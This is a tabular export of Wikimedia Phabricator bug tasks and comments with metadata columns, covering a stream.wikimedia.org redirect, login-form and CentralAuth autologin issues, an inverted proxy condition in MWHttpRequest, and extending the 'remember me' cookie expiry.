+The `/` entry-point over HTTP for GET should still redirect to documentation, such as <https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org>.",,,1498531872,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+882600,stream.wikimedia.org - redirect http(s) to docs,"While the certificate issue has been resolved, and RCStream (at `stream.wikimedia.org/rc/`) is indeed being deprecated and replaced. stream.wikimedia.org is not going to be replaced.
+
+The `/` entry-point over HTTP for GET should still redirect to documentation, such as <https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org>.",,,1498531852,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+882510,stream.wikimedia.org - redirect http(s) to docs,"This has been working for some time, at least for the HTTPS issue at the root as tasked here!  The other part about docs probably isn't relevant anymore, as the service is being replaced.",,,1498517932,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,103,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0
+650687,stream.wikimedia.org - redirect http(s) to docs,"See also https://gerrit.wikimedia.org/r/#/c/284760/ pending patch, from trying to fix the /=>404 issue for HTTPS reasons in T132521 (the basic HTTPS issues themselves are already fixed btw).  All it does is rewrite / internally to give the json service status output, as a ""better than nothing"" fix.",,,1461514703,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1
+650683,stream.wikimedia.org - redirect http(s) to docs,"(of course now I see it was me who added that project in the first place, oops...)",,,1461513934,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+650682,stream.wikimedia.org - redirect http(s) to docs,doesn't look like apache is involved in this - see modules/rcstream/templates/rcstream.nginx.erb in the puppet repo,,,1461513907,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+498703,stream.wikimedia.org - redirect http(s) to docs,It'd be neat if the index page for stream.wikimedia.org could pull from a protected wiki page on Meta-Wiki (similar to what we do with the www portals).,,,1438138261,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+489758,stream.wikimedia.org - redirect http(s) to docs,"scratch that last comment i guess
+
+use https://wikitech.wikimedia.org/wiki/Stream.wikimedia.org
+
+16:32 < Krinkle> mutante: http://wikistream.wmflabs.org/ is not a replacement of anything, it's a third-party consumer of our stream.
+16:32 < Krinkle> it listens to irc.wikimedia.org in fact
+16:33 < mutante> Krinkle: oh? i thought it uses http://stream.wikimedia.org/
+16:34 < Krinkle> It may eventually migrate to that. But wikistream (the labs tool) uses a library that uses a library that uses irc.wikimedia.org 
+16:34 < Krinkle> Either way, RCStream is replacement of IRC, not Wikistream.
+",,,1436484971,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,1,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+489735,stream.wikimedia.org - redirect http(s) to docs,"or, nowadays, redirect to http://wikistream.wmflabs.org/  
+
+or, nicer, have an index page that explains what it is and links to both of these places",,,1436482922,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,1,0,0
+413298,stream.wikimedia.org - redirect http(s) to docs,This seems like a pretty straightforward way to make this service more useful. Pinging @SPage since he's currently working on docs related to RCStream and could identify the ideal URL to redirect to.,,,1424245546,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-4i4rfgchjaq2sexzwylo,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,0
+70143,Enter should submit user login form instead of GoogleLogin,"When the user hit enter to send his login data on the login form in a wiki using GoogleLogin, he will  be redirected to the GoogleLogin authentication prompt, if the login data was incorrectm, instead of show the ""login failed"" screen.
+
+-> Check in AuthPlugin, if username and password is set, and if so, don't use GoogleLogin.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Medium,50.0,1405585380,1406481878.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-d3a6vgcoti4k6vkrmo3o,task_description,resolved,True,c3,1,True,False,True,-50,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+318521,Enter should submit user login form instead of GoogleLogin,"Change 149540 merged by jenkins-bot:
+Don't redirect to Google auth if user hit enter
+
+https://gerrit.wikimedia.org/r/149540",,,1406480337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d3a6vgcoti4k6vkrmo3o,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+318518,Enter should submit user login form instead of GoogleLogin,"Change 149540 had a related patch set uploaded by Florianschmidtwelzow:
+Don't redirect to Google auth if user hit enter
+
+https://gerrit.wikimedia.org/r/149540",,,1406398437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d3a6vgcoti4k6vkrmo3o,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+68828,CentralAuth: Audit autologin procedure for performance and code quality,"I'm not happy about how the (still relatively new) added feature for autologin works.
+
+The new JS-based procedure replaces old the in-between page and its `<img>` loads.
+
+This is a reminder to perform a back-to-back audit of it and clean or refactor it. ~~Perhaps we can walk through it this September when I'm visiting the office.~~
+
+
+It currently performs upto 55 network requests to get things set up:F or each of the entry points CA tries to hit (listed below) multiplied by the number of wiki projects (wikipedia, wikibooks, wiktionary, etc.)
+
+  - Special:CentralAutoLogin/start,
+  - Special:CentralAutoLogin/checkLoggedIn
+  - Special:CentralAutoLogin/createSession
+  - Special:CentralAutoLogin/validateSession
+  - Special:CentralAutoLogin/setCookies
+
+##### See also
+
+* Introduced in <https://gerrit.wikimedia.org/r/58924> / 7a03ac9ac6c28
+* Duplicate: {T91196}
+* Duplicate: {T130935}
+* Bug: {T202028}
+* Prior perf work: {T56195}",Medium,50.0,1403167260,1705463584.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-u2ym2baygxtqximfgwwo,task_description,declined,True,c3,1,True,False,False,-54,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+2260000,CentralAuth: Audit autologin procedure for performance and code quality,"While working on T327046 last year, I've read through all of this code, and made a number of code quality improvements (https://gerrit.wikimedia.org/r/q/owner:matmarex+project:mediawiki/extensions/CentralAuth+mergedafter:2023-10-10+mergedbefore:2024-01-01). I'm not sure if you can call this an audit, but I felt that what was left was ugly but necessary, and I feel that a more formal audit is not needed.",,,1705463584,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-u2ym2baygxtqximfgwwo,task_subcomment,,True,c3,3,True,,,445,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+2215735,CentralAuth: Audit autologin procedure for performance and code quality,"Edge login seems to be triggered more than it should (e.g. a successful edge login on a wiki sets the `CentralAuthDoEdgeLogin` flag so the next visit to that wiki will trigger another edge login; I don't really get the point of that).
+
+Other than that I'm not sure what small changes we could do performance-wise (the code quality could certainly be improved). At some point we'll have to get rid of edge login and having the login interface available on every wiki ({T348388}), and then we can try to simplify things. But that will be a major refactoring.",,,1697938409,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-u2ym2baygxtqximfgwwo,task_subcomment,,True,c3,3,True,,,433,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+1192486,CentralAuth: Audit autologin procedure for performance and code quality,">>! At T91196, @Nemo_bis wrote:
+> In an ideal world, unregistered users wouldn't need to load Special:CentralAutoLogin/checkLoggedIn on every single page view (e.g. `https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=itwikiquote&proto=https`). 
+
+
+>>! In T130935#2152565, @Jdlrobson wrote:
+> The offending line is in ext.centralauth.centralautologin.js
+>> mw.loader.load( url );
+> 
+> I wonder if this should only be executing on a window onload event",,,1544417688,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-u2ym2baygxtqximfgwwo,task_subcomment,,True,c3,3,True,,,179,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+68769,POST request sent without content-length creates entries in lighttpd's error.log,"For every request, lighttpd/1.4.31 was logging the following to error.log:
+
+2014-06-18 10:13:56: (request.c.1148) POST-request, but content-length missing -> 411 
+
+While these POST requests for every page view seem to be caused by bug 66225, it still seems wrong that a POST request is sent but its content-length is missing.
+
+I've come across at least two other projects where this was fixed:
+
+* https://core.trac.wordpress.org/ticket/8605
+* http://bitten.edgewall.org/ticket/667
+
+Can this be fixed in MediaWiki as well?
+
+./includes/libs/MultiHttpClient.php does contain:
+
+-------------------------------------------------
+} elseif ( $req['method'] === 'POST' ) {
+                        curl_setopt( $ch, CURLOPT_POST, 1 );
+                        curl_setopt( $ch, CURLOPT_POSTFIELDS, $req['body'] );
+                } else {
+                        if ( is_resource( $req['body'] ) || $req['body'] !== '' ) {
+                                throw new Exception( ""HTTP body specified for a non PUT/POST request."" );
+                        }
+                        $req['headers']['content-length'] = 0;
+-------------------------------------------------
+
+So, ""content-length"" is indeed set, but I don't know how to get a call chain to see if this method is really used here.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal",Medium,50.0,1403080680,,PHID-USER-mmi3c2by3ie26if3verk,False,,False,PHID-TASK-wex2mr3kvzhewkxaz4dd,task_description,open,True,c3,1,False,False,,-55,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+68757,MWHttpRequest check for noproxy is inverted,"Bug T46113 claims to address this very statement which now reads
+
+  if ( $this->proxy || !$this->noProxy ) {
+     return;
+
+To break this out:
+
+  if (                        # if
+       $this->proxy           # the proxy is already set
+       ||                     # or
+       !$this->noProxy        # noProxy is not set
+     ) {
+      return;
+
+Instead, it should read ""If the proxy is already set or noProxy is set"":
+
+  if ( $this->proxy || $this->noProxy ) {
+     return;",Medium,50.0,1403049180,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,False,PHID-TASK-t53gk4hzph5lquydvrd6,task_description,open,True,c3,1,False,False,,-55,True,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+304893,MWHttpRequest check for noproxy is inverted,"Clearing backport flag since nothing has been merged into master yet, and the patch has a -2 on it.",,,1408562902,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+304887,MWHttpRequest check for noproxy is inverted,"Change 141374 abandoned by Legoktm:
+Use correct condition for MWHttpRequest::proxySetup() function
+
+Reason:
+Not merged into master yet
+
+https://gerrit.wikimedia.org/r/141374",,,1408561885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+304880,MWHttpRequest check for noproxy is inverted,"Change 141375 abandoned by Legoktm:
+Use correct condition for MWHttpRequest::proxySetup() function
+
+Reason:
+Not merged into master yet
+
+https://gerrit.wikimedia.org/r/141375",,,1408561881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+304873,MWHttpRequest check for noproxy is inverted,"Change 141376 abandoned by Legoktm:
+Use correct condition for MWHttpRequest::proxySetup() function
+
+Reason:
+Not merged into master yet
+
+https://gerrit.wikimedia.org/r/141376",,,1408561878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+304869,MWHttpRequest check for noproxy is inverted,"The code that this repairs simply doesn't work in my testing.  Granted, I may not be testing correctly, but I'd like to be shown that.
+
+Set up a MW server that can only connect to the outside world via a proxy.  Now, set $wgHTTPProxy so the MW can use the proxy.
+
+Call Http::get( ""http://www.google.com"" )
+
+The call will fail because noProxy is false by default (meaning, use the proxy!) and so the condition 
+
+ if ( $this->proxy || !$this->noProxy ) {
+
+will be true and setupProxy() will return without setting $this->proxy to $wgHttpProxy.",,,1403708759,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+304865,MWHttpRequest check for noproxy is inverted,"I think this change affects the logic in a non-intended way. The two conditions produce different results in case a proxy is set and proxy is disabled. In the original logic, the statement results in ""false"", and the following code is executed. In this proposed change, the proxy is unset, even if it was set before.
+
+The change you are suggesting here leads to the proxy remaining set, if it was set before, even if we have the no proxy flag.
+
+As Aaron Schulz and T.Gries pointed out in bug 44113, the former behaviour is inteded to bypass default settings on local urls.",,,1403699443,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+304861,MWHttpRequest check for noproxy is inverted,"Change 141376 had a related patch set uploaded by MarkAHershberger:
+Use correct condition for MWHttpRequest::proxySetup() function
+
+https://gerrit.wikimedia.org/r/141376",,,1403492060,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+304857,MWHttpRequest check for noproxy is inverted,"Change 141375 had a related patch set uploaded by MarkAHershberger:
+Use correct condition for MWHttpRequest::proxySetup() function
+
+https://gerrit.wikimedia.org/r/141375",,,1403492030,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+304852,MWHttpRequest check for noproxy is inverted,"Change 141374 had a related patch set uploaded by MarkAHershberger:
+Use correct condition for MWHttpRequest::proxySetup() function
+
+https://gerrit.wikimedia.org/r/141374",,,1403491994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+304848,MWHttpRequest check for noproxy is inverted,"Change 141366 had a related patch set uploaded by devunt:
+Use correct condition for MWHttpRequest::proxySetup() function
+
+https://gerrit.wikimedia.org/r/141366",,,1403478046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t53gk4hzph5lquydvrd6,task_subcomment,,True,c3,1,False,,,-54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+68699,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Scheduled: This is scheduled for this Tuesday (2016-08-16) during the 15:00 UTC SWAT window.
+
+**Author:** `swalling`
+
+**Description:**
+Previously, we were required to remember a user's session information for no longer than 30 days on Wikimedia sites. The new privacy policy (https://meta.wikimedia.org/wiki/Privacy_policy) does not require such a limitation, and in fact explicitly calls out remembering logins as a use case: ""...such as by using cookies to maintain your session when you log in or to remember your username in the login field.""
+
+As such, if a user checks the ""keep me logged in option"" on the login form, cookie expiry should be set to one year. 
+
+In practice, this will often be shorter, since users often travel across many browsers or devices, and may clear their cookies. At the very least, users who opt in to being remembered should have their sessions remembered for longer than the arbitrary 30 day limit.
+
+--------------------------
+**See Also**:
+{T69512}",Medium,50.0,1402984200,1471368615.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_description,resolved,True,c3,1,False,False,False,-55,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0
+723657,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 304493 merged by jenkins-bot:
+Rm unused 'remembermypassword' message, doc another
+
+[[https://gerrit.wikimedia.org/r/304493]]",,,1473196832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,61,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+716413,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#696214, @Mattflaschen-WMF wrote:
+> There's also a benefit if the user (think of new users especially) forgets their password, especially since we don't require an email.
+> 
+> It's common for there to be a tension between security and convenience.
+
+Actually, I think there is a potential trap there:
+* New user creates a wikipedia account to make some minor fixes, he doesn't provide an email address (or mistypes it).
+* He actually gets hooked and starts editing heavily.
+* After 6-8 months, due to some local changes (eg. related to a browser update), his session expires.
+* User doesn't remember the password he made up 8 months ago and used only once. However, he has now invested  a more significantt effort on wikimedia under his now-lost username.
+* If he had been logged out after a week, it would be easier to remember the password and also less traumatic to start again.",,,1471993831,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,59,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1
+713535,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2561424, @Mpaulson wrote:
+> When is it going to be changed over?
+
+It happened on Tuesday, 16 August 2016 at 15:14 UTC (8:14 a.m. PDT).",,,1471517744,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,59,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
